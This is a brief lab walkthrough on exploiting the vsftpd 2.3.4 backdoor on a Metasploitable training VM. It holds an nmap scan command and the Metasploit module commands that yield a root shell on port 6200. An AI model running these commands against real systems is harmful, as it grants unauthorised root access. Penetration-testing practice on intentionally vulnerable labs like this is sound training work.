Exploiting Metasploitable Part-1 (vsftpd Vulnerability Walkthrough)

1. Reconnaissance and Port Scanning

We begin our engagement by performing detailed port and service version discovery against the target Metasploitable instance using Nmap:

nmap -sV -p- 192.168.56.102

The scan reveals that Port 21 is running vsftpd 2.3.4, a notorious version historically distributed with an intentional backdoor triggered by smiley face strings in the username field.

2. Vulnerability Verification with Metasploit

We launch the Metasploit console and search for the matching exploit module:

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.102
run

Within seconds, the backdoor executes, spawning an interactive root shell (UID 0) on port 6200, allowing full system inspection and post-exploitation validation.